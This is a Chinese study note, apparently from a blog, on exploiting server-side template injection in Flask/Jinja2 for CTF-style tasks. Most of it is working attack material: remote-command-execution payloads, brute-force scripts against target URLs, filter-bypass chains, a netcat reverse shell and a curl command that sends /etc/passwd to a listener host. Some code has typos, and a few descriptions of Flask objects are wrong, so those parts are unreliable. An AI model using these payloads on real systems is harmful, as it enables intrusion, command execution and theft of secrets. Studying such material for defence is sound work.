ssti模板注入学习笔记

ssti模板注入学习笔记

(课程地址:https://www.bilibili.com/video/BV1tj411u7Bx?p=22&vd_source=9f6c2d32d65865d972cf6825021e3b6f)
(关于flask基础知识:https://blog.csdn.net/m0_73559432/article/details/130172934?spm=1001.2014.3001.5501)

flask漏洞-代码不严谨
可能造成任意文件读取和RCE远程控制控制后台系统

漏洞成因:

*渲染模板时,没有严格控制对用户的输入
*使用了危险的模板,导致用户可以和flask程序进行交互

flask是基于python开发的一种web框架,那么也就意味着如果用户可以和flask进行交互的话,就可以执行python的代码,比如eval,system,file等等之类的函数。

from flask import Flask,request,render_template_string
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
    str = request.args.get('ben')
    html_str = '''
    <html>
    <head></head>
    <body>{{str}}</body>        
    </html>
    '''
    #str是被{{}}包括起来的,会被预先渲染转义,然后才会输出,不会被渲染执行;
    return render_template_string(html_str,str=str)
if __name__=='__main__':
    app.debug=True
    app.run('127.0.0.1'.'8888')
    #{{7*7}}不会执行
from importlib.resources import contents
import time
from flask import Flask,request,render_template_string
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
    str = request.args.get('ben')       #{}里面可以定义任何参数
    html_str = '''
    <html>
    <head></head>
    <body>{0}</body>    
    </html>
    '''.format(str)     #str值通过format()函数填充到body中间
    return render_template_string(html_str)
    #return render_template_string会把{}内的字符串当成代码指令
if __name__=='__main__':
    app.debug=True
    app.run('127.0.0.1'.'8888')
    #{{7*7}}会被当成指令执行 

可以利用魔术方法去验证模板注入

127.0.0.1:8888/?a={{".__class__.__mro__}}

服务器端模板注入实际上也是一种注入漏洞。

判断模板类型

${7*7}成功:
a{*comment*}b           输出ab -> Smarty
${"z".join("ab")}       输出azb -> Mako or ???

${7*7}失败:
{{7*7}} and {{7*'7}'}   输出49 -> Jinja2 or Twig or ???

ssti常用注入模板

1.文件读取
2.内建函数eval执行命令
3.os模块执行命令
4.importlib类执行命令
5.linecache函数执行命令
6.subprocess.Popen类执行命令

1.文件读取
#查找子类 _frozen_importlib_external.FileLoader
<class '_frozen_importlib_external.FileLoader'>
#FileLoader的利用
{{''.__class__.__mro__[1].__subclasses__()[79]["get_data"](0,"/etc/passed")}}
#读取配置文件下的FLAG
{{config}}
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

~python脚本编写
(POST提交"name"的值,通过for循环查找所需字符串)

import requests
url = input('请输入URL链接')
for i in range(500)
    data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
    #data = {"name":"{{().__class__.__mro__[1].__subclasses__()["+str(i)+"]}}"}
    try:
        response = requests.post(url,data=data)
        #print(response.text)
        if response.status_code == 200:
            if '_frozen_importlib_external.FileLoader' in response.text:
                print(i)
    except:
        pass 
2.内建函数eval执行命令

内建函数:python在执行脚本时自动加载的模块

import requests
url = input('请输入URL链接')
for i in range(500):
    data={"name":
    "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
    try:
        response = requests.post(url,data=data)
        #print(response.text)
        if response.status_code == 200:
            if 'eval' in response.text:
                print(i)
    except:
        pass

payload:

{{''.__class__.__bases__[0].__subclasses__()[65].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat ./etc/passwd").read()')}}
__builtins__提供对python的所有”内置“标识符的直接访问
eval()计算字符串表达式的值
__import__加载os模块
popen()执行一个shell以运行命令来开启一个进程,执行cat /etc/passwd
(system没有回显)
3.os模块执行命令

~~在其他函数中直接调用os模块

#通过config,调用os
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
#通过url_for,调用os
{{url_for.__globals__.os.popen('whoami').read()}}

~~在已经加载好os模块的子类里直接调用os模块

{{''.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l /opt").read()}}
"""
''.__class__ 返回空字符串字符串类型的类,也就是 str 类。
str.__bases__[0] 返回 str 基类对象。
str.__bases__[0].__subclasses__() 将返回所有从 str 基类继承而来的子类列表。
[199] 表示选择该列表中的第 200 个子类,因为在 Python 中,许多内置或库(如 os、sys 等)都是基于类实现的,而拥有相同父类的类按照继承顺序排序在该列表中。
.__init__ 返回所选子类的初始化方法。
.__globals__['os'] 返回一个包含 os 模块的全局命名空间字典。
.popen("ls -l /opt") 在该全局命名空间中调用 popen() 方法,并执行一个列出位于 /opt 目录下的所有文件的命令。
.read() 读取命令所输出的数据并返回给模板。
"""

其他一些payload的举例

{{self.__dict__._TemplateReference__context.keys()}}
{{lipsum.__globals__.os.popen('cat /etc/passwd').read()}}

base__和__bases[ ]的区别

__base__ 属性只能获取单一的父类,而 __bases__[] 属性可以获取到所有的直接父类。
4.importlib类执行命令

可以加载第三方库,使用load_module加载os
python脚本查找_frozen_importlib.BuiltinImporter

import requests
url = input('请输入URL链接:')
for i in range(500):
    data = {"name":
    "{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
    try:
        response = requests.post(url,data=data)
        if response.status_code == 200:
            if '_frozen_importlib.BuiltinImporter' in response.text:
                print(i)
    except:
        pass

payload:

{{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}
5.linecache函数执行命令

linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os模块,所以我们也可以利用linecache函数如执行命令。
python脚本查找linecache

import requests
url = input('请输入URL链接:')
for i in range(500):
    data = {"name":
    "{{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"}
    try:
        response = requests.post(url,data=data)
        if response.status_code == 200:
            if 'linecache' in response.text:
                print(i)
    except:
        pass

payload:

{{[].__class__.__base__.__subclasses__()[191].__init__.__globals__['linecache']['os'].popen("ls -l /").read()}}
{{[].__class__.__base__.__subclasses__()[191].__init__.__globals__.linecache.os.popen("ls -l /").read()}}
6.subprocess.Popen类执行命令

从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。
subprocess意在替代其他几个老的模块或者函数,比如:os.system,os.popen等函数。
python脚本查找subprocess.Popen:

import requests
url = input('请输入URL链接:')
for i in range(500):
    data = {"name":
    "{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
    try:
        response = requests.post(url,data=data)
        if response.status_code == 200:
            if 'subprocess.Popen' in response.text:
                print(i)
    except:
        pass

payload:

{{[].__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
"""
[] 创建一个空列表。
''.__class__ 返回空字符串字符串类型的类,也就是 str 类。
str.__base__ 返回 str 基类对象。
str.__base__.__subclasses__() 将返回所有从 str 基类继承而来的子类列表。
[200] 表示选择该列表中的第 201 个子类,因为在 Python 中,许多内置或到处的库(如 os、sys 等)都是基于类实现的,并且继承关系可能会随着版本更新而变化。
调用所选类的初始化方法,并传递给它要执行的系统命令和参数。请注意,这里将参数传递给 shell=True 会让命令在 shell 环境下运行,这可以使用户更容易地传递一些组合命令。
communicate() 方法发起与执行命令的子进程的双向通信,并等待命令完成。我们调用此方法以获取命令输出和错误结果。
communicate()[0] 返回命令输出,因为在这个例子中无需关心可能存在的错误结果。
strip() 去除输出的最前面之后的空白字符。
"""
总结

请添加图片描述

绕过过滤

1.绕过过滤双大括号

{% %}是属于flask的控制语句,且以{% end… %}结尾,可以通过在控制语句定义变量或者写循环,判断。
示例app.py:

from flask import Flask,rendre_template
app = Flask(__name__)

@app.route('/')
def show1():
    girls = ['小红','小蓝''小粉','小黄','小绿']
    return render_template('index.html',girls=girls)

if __name__ == '__main__':
    app.run()

示例index.html:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
    <style>
            .a{
                color:red;
                font_weight:bold;
            }
    </style>
</head>
<body>
<ul>
    {% for girl in girls %}
        {% if girl|length >=3 %}
            <li class="a">{{girl}}</li>
        {% else %}
            <li>{{girl}}</li>
        {% endif %}
    {% endfor %}
</ul>
{% set name='a' %}
{{name}}
</body>
</html>

解题思路

#判断{{}}被过滤
#尝试{% %}
{% if 2>1 %}name{% endif %}
{% if ''.__class__ %}name{% endif %}
#有回显name说明''.__class__有内容
{% if "".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("cat /etc/passwd").read() %}name{% endif %}
#如果有回显name则说明命令正常执行

构造脚本查询可使用“popen”的子类编号

import requests
url = input(" 请输入url链接 ")
for i in range(300):
    try:
        data = {"code":'{% if "".__class__.__base__.__subclasses()['+str(i)+'].__init__.__globals__["popen"]("cat /etc/passwd").read() %}name{% endif %}'}
        response = requests.post(url,data=data)
        if response.status_code == 200:
            if "name" in response.text:
                print(i,"-->",data)  
                break
    except:
        pass

payload:

{% print("".__class__.__base__.__subclasses()['+str(i)+'].__init__.__globals__["popen"]("cat /etc/passwd").read()) %}
2.无回显ssti模板注入

~ ssti盲注思路:

(1)反弹shell
通过rce反弹一个shell出来绕过
(2)带外注入
通过requestbin或dnslog的方法将信息传到外界
(3)纯盲注

反弹shell(没有回显,直接使用脚本批量执行希望执行的命令)

import requests

url = input("请输入目标URL地址")

for i in range(300):
    try:
        data = {"code":'{{"".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("netcat 监听主机 端口 -e /bin/bash").read()}}'}
        response = requests.post(url,data=data)
    except:
        pass
#监听主机收到反弹shell进入对方命令行界面

带外注入
此处使用wget方法来带外想要知道的内容,
也可以使用dnslog或者nc。

import requests

url = input("请输入目标URL地址")

for i in range(300):
    try:
        data = {"code":'{{"".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("curl http://监听主机ip/`cat /etc/passwd`").read()}}'}            
        #反引号命令执行
        response = requests.post(url,data=data)
    except:
        pass
#同时kali开启一个python http监听  #python3 -m http.server 80
#cat没办法换行,只能显示第一行(需要配合换行命令来显示其他内容)

纯盲注

3.getitem绕过中括号过滤

__getitem__()是python的一个魔术方法,
对字典使用时,传入字符串,返回字典相应键所对应的值;
对列表使用时,传入整数,返回列表对应索引的值;

class test():
    def __init__(self):
        self.a={
            '1':'小红',
            '2':'小绿',
            '3':'小黄'
            }
    def getitem(self,key):
        b = self.a[key]
        return b
t = test()
print(t.getitem('2'))
class test():
    def __init__(self):
        self.a={
            '1':'小红',
            '2':'小绿',
            '3':'小黄'
            }
    def __getitem__(self,key):
        b = self.a[key]
        return b
t = test()
print(t['2'])           #实体对象['key'] 系统会自动调用__getitem__方法

可以用来绕过[]过滤

{{''.__ckass__.__base__.__subclasses__().__getitem__('+ str(i) +')}}

使用__getitem__()构造payload:

import requests
url = input('请输入URL链接:')
for i in range(500):
    data = {"code":
    '{{"".__class__.__base__.__subclasses__().__getitem__('+str(i)+')}}'}
    try:
        response = requests.post(url,data=data)
        if response.status_code == 200:
            if '_wrap_close' in response.text:
                print(i,"--->",response.text)
                break
    except:
        pass

payload:

{{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat /etc/passed').read()}}
4.request绕过单双引号过滤

request在flask中可以访问基于HTTP请求传递的所有信息
此request并非python函数,而是在flask内部的函数

request.args.key    获取get传入的key的值
request.values.x1   所有参数 
request.cookies     获取cookies传入参数 
request.headers     获取请求头请求参数 
request.form.key    获取post传入参数
(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) request.data        获取post传入参数(Content-Type:a/b) 
request.json        获取post传入json参数(Content-Type:application/json) 

app.py

from flask import Flask, render template, request

app=Flask(__name__)

@app.route('/',methods = ['POST','GET']) 
def show1():
    return render_template('index.html') 

if __name__ == '__main__':
    app.run(host='0.0.0.0') 

index.html

<html lang="en"> 
<head>
<meta charset="UTF-8"> 
<title>过滤器的使用</title>
</head>
<body>
<br>
获取get提交数据: {{request.args.k1}}
<br>
获取post提交数据:{{request.form.k2}}
<br>
获取cookie提交数据:{{request.cookies.k3}}
</body>
</html>

在构造payload时大多会用到单双引号,
可以通过构造带 参数的url,
配合request获取参数的内容来组成想要提交的指令,
从而绕过单双引号的使用。

#POST提交payload
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.k1](requests.form.k2).read()}}&k1=popen&k2=cat /etc/passwd
#cookie提交payload
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.cookies.k1](request.cookies.k2).read()}}
#Cookie:k1=popen;k2=cat /etc/passwd
5.过滤器绕过下划线过滤

过滤器
1.过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数。
2.可以链接到多个过滤器,一个过滤器的输出将应用与下一个过滤器。

在这里插入图片描述

app.py
在这里插入图片描述

index.html
在这里插入图片描述

{{()|attr('__class__')|attr('__base__')}}
#attr绕过下划线_过滤
'''
1.使用reques方法
GET请求:URL/?cla=__class__
POST提交:code={{()|attr(request.args.cla)}}
'''
#{{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat /etc/passed').read()}}
#例子:
#GET提交:URL/?cla=__class__&bas=__base__&sub=__subclasses__&ini=__init__&glo=__globals__&gei=__getitem__
#POST提交:{{''|attr(request.args.cla)|attr(request.args.sub)()|attr(request.args.gei)(117)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.gei)('popen')('cat /etc/passwd')|attr('read')()}}
'''
2.使用unicode编码
3.使用16位编码
4.base64编码
5.格式化字符串      %c %95即下划线
'''
6.中括号绕过点过滤

点’.'被过滤
1.用中括号代替点
在这里插入图片描述

2.attr()绕过
在这里插入图片描述

7.绕过关键字过滤

过滤了"class"“arg”“from”“value”“int”"global"等关键字

"__class__"为例
1.字符编码
2.最简单的拼接“+”:'__cl'+'ass__'
3.使用Jinjia2中的"~"进行拼接:{%set a="__cla"%}{%set b = "ss__"%}{{()[a~b]}}
4.利用过滤器(reverse反转,replace替换,join拼接等):
{%set a="__ssalc__"|reverse%}{{()[a]}}
5.利用python的char():
{%set chr=url_for.__globals__['__builtins__'].chr%}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(95)%2bchr(95)]}}
#为了避免字符串被过滤/转义,基于chr()函数来生成整数编码的字符,并将其拼接成字符串。例如,在上面的代码中,chr(95)会生成一个下划线字符 "_" 的ASCII编码,chr(99)则对应着 "c" 字符,依次类推。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

8.length过滤器绕过数字过滤

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

9.获取config文件

有些flag可能在config文件中
如果没有过滤,直接{{config}}就能打开。
//姿势集里面有相关说明

**flask内置函数**
lipsum 可加载第三方库
url_for 可返回url路径
#url_for:一个可以根据视图函数名或端点名称生成相应 URL 的函数。通过这个函数,我们可以在不硬编码URL的情况下引用不同的视图函数或端点,并构建出正确的URL路由。
get_flashed_message 可获取消息
#get_flashed_messages:一个在重定向期间获取Flash消息的函数。Flash消息通常用于在请求之间存储临时信息,比如表单提交后显示一个成功或失败的消息。
**flask内置对象**
cycler:一个轻量级的循环迭代器,可以用于生成一系列重复的值。
joiner:一个字符串连接器,可以将多个字符串连接成一个字符串。
namespace:一个命名空间对象,可以在程序中组织变量和函数,避免命名冲突。
config:一个配置管理器对象,可以读取和写入程序的配置文件参数。
request:一个用于发送 HTTP 请求的对象,通常用于从网络上获取数据。
session:一个用于存储用户会话信息的对象,通常用于在Web应用程序中跟踪用户状态。

可利用已加载内置函数或对象寻找被过滤字符串
可利用内置函数调用current_app模块进而查看配置文件

current_app
调用current_app相当于调用flask
{{url_for.__globals__['current_app'].config}}
#当在 Flask 模板中调用 {{ url_for.__globals__['current_app'].config }} 时,实际上是通过获取 url_for 对应的全局命名空间中的 current_app 对象,进而获取当前应用程序的配置信息并输出。
{{get_flashed_messages.__globals__['current_app'].config}}
10.混合过滤

dict()和join

dict(): #用来创建一个字典
join: #将一个序列中的参数值拼接成字符串
{%set a=dict(nihao=1)%}{{a}}   
#创建字典a,键名nihao,键值1
{%set a=dict(__cla=1,ss__=2)|join%}{{a}}  
#创建字典a,join把参数值拼接成字符串

在这里插入图片描述

获取符号

利用flask内置函数和对象获取符号
{% set hao = ({}|select()|string()) %}{{hao}}
{% set hao = (lipsum|string) %}{{hao}}
#获取下划线
{% set hao = (self|string()) %}{{hao}}
#获取空格
{% set hao = (self|string|urlencode) %}{{hao}}
#获取百分号
{% set hao = (app.__doc__|string) %}{{hao}}
···类似的payload有很多
在后面添加|list,然后根据返回的结果,通过hao[]去获取你需要的符号
具体可以看示例2里面的payload
示例1:WAF过滤  ',",'+','request','.','[',']'
payload原型:{{().__class__.__base__.__subclasses__()[117]}.__init__.__globals__['popen']('cat flag').read()}
payload:
{%set a=dict(__class__=1)|join%}
{%set b=dict(__base__=1)|join%}
{%set c=dict(__subclasses__=1)|join%}
{%set d=dict(__getitem__=1)|join%}
{%set e=dict(__in=1,it=2)|join%}
{%set f=dict(__glo=1,bals__=2)|join%}
{%set g=dict(popen=1)|join%}
{%set kg={}|select()|string()|attr(d)(10)%}     #空格
{%set i=(dict(cat=1)|join,kg,dict(flag=2)|join)|join%}
{%set r=dict(read=1)|join%}
{{()|attr(a)|attr(b)|attr(c)|attr(d)(117)|attr(e)|attr(f)|attr(d)(g)(i)|attr(r)()}}
示例2:WAF过滤  ',",'_','0-9','.','[',']'.'\',''
paylaod原型:{{lipsum|attr("__globals__")|attr("__item__")("os")|attr("popen")("cat flag")|attr("read")()}}
payload:
{%set nine=dict(aaaaaaaaa=a)|join|count%}
{%set eighteen=nine+nine%}
{%set pop=dict(pop=a)|join%}
{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}
{%set kg=(lipsum|string|list)|attr(pop)(nine)%}
#得到下划线xhx'_'和空格kg' '
{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}
{%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%}
{%set os=dict(os=a)|join%}
{%set popen=dict(popen=a)|join%}
{%set flag=(dict(cat=a)|join,kg,dict(flag=a)|join)|join}
{%set read=dict(read=a)|join}
{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(flag)|attr(read)()}}

姿势集

(来源https://zhuanlan.zhihu.com/p/93746437)

1.{{config}} 可以获取当前设置,如果题目是这样的:
app.config ['FLAG'] = os.environ.pop('FLAG'

可以直接访问 {{config[‘FLAG’]}} 或者 {{config.FLAG}} 得到 flag。

2.同样可以找到 config。
{{self.__dict__._TemplateReference__context.config}}
'''
这段代码可以用于获取当前 Flask 应用程序上下文中的配置信息。
`self` 表示模板上下文对象,`__dict__` 返回该对象储存的属性和值的字典,
`_TemplateReference__context` 是表示调用上下文槽时使用的内部插槽名称。
最终访问 `config` 属性可以得到应用程序的配置信息。
'''
3️.环境变量
{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__['environ']['FLAG']}}
'''
这段代码可以用于获取 Flask 程序中环境变量 `'FLAG'` 的值。
首先创建一个空列表 `[]`,然后通过 `. __class__` 获取它的类 `<class 'list'>`。
再通过 `.__base__` 方法获取其基础类,即 `<class 'object'>`。
接着通过 `.__subclasses__()` 方法获取所有子类,得到一个列表。
然后查询这个列表中下标为 `68` 的子类,得到 `<class 'posix.ScandirIterator'>`。
对该子类的 `__init__` 初始化函数进行取值并访问 `__globals__['os'].__dict__['environ']['FLAG']` 
就可以获取环境变量 `'FLAG'` 的值。
'''
4️.url_for、g、request、namespace、lipsum、range、session、dict、get_flashed_messages、cycler、joiner、config等
这是 Flask 中一些常用的对象或方法:
'''
- `url_for`:生成 URL。
- `g`:应用程序上下文中存储数据的齿轮。在请求之间共享数据。
- `request`:表示客户端发出的请求。
- `namespace`:命名空间,常常用于优化 url_for。
- `lipsum`:快速生成 Lorem Ipsum 文本。
- `range`:Python 内置函数,用于生成一个固定区间内的整数序列。
- `session`:应用程序上下文中用户会话存储数据的地方。在请求之间共享数据。
- `dict`:Python 内置类型,字典类型,用于保存键-值对。
- `get_flashed_messages`:从请求中弹出闪现消息。
- `cycler`:Matplotlib 库中的循环器,用于对颜色、线条风格等元素进行迭代访问。
- `joiner`:用于拼接字符串。
- `config`:Flask 应用程序全局配置。
'''

如果上面提到的 config、self 不能使用,要获取配置信息,就必须从它的全局变量(访问配置 current_app 等)。例如:

{{url_for.__globals__['current_app'].config.FLAG}}
#url_for.__globals__['current_app'],表示获取当前应用程序实例中的全局变量;
#然后通过 config.FLAG 获取环境变量 FLAG 的值。
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
#get_flashed_messages.__globals__['current_app'],同样表示获取当前应用程序实例中的全局变量;
#然后再次通过 config.FLAG 获取环境变量 FLAG 的值。
#该函数主要用于传递闪现消息给用户,而在这里被“利用”以获取环境变量。
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
#在获取到 request 对象和 current_app 对象后,使用 _get_data_for_json() 方法将请求数据编码为 json 格式,
#并使用 json 库进行编码。由于 flask 使用了自定义的 JSONEncoder 类,
#所以我们通过 json.JSONEncoder.default.__globals__['current_app'].config['FLAG'] 来访问环境变量。
5️.过滤了 []、.

pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

在这里使用 pop 函数并不会真的移除,但却能返回其值,取代中括号来实现绕过。

若.也被过滤,使用原生 JinJa2 函数 |attr()

即将 request.__class__ 改成 request|attr("__class__")

6️.过滤下划线 _

利用 request.args 的属性


{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

将其中的 request.args 改为 request.values,则利用 post 的方式进行传参。

GET:


{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}

POST:

class=__class__&mro=__mro__&subclasses=__subclasses__
7️.过滤引号 "

request.args 是 flask 中的一个属性,为返回请求的参数,这里把 path 当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
8️.一些关键字被过滤。

base64编码绕过
用于__getattribute__使用实例访问属性时。

例如,过滤掉 __class__ 关键词

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

字符串拼接绕过

{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
{{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}} 
  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值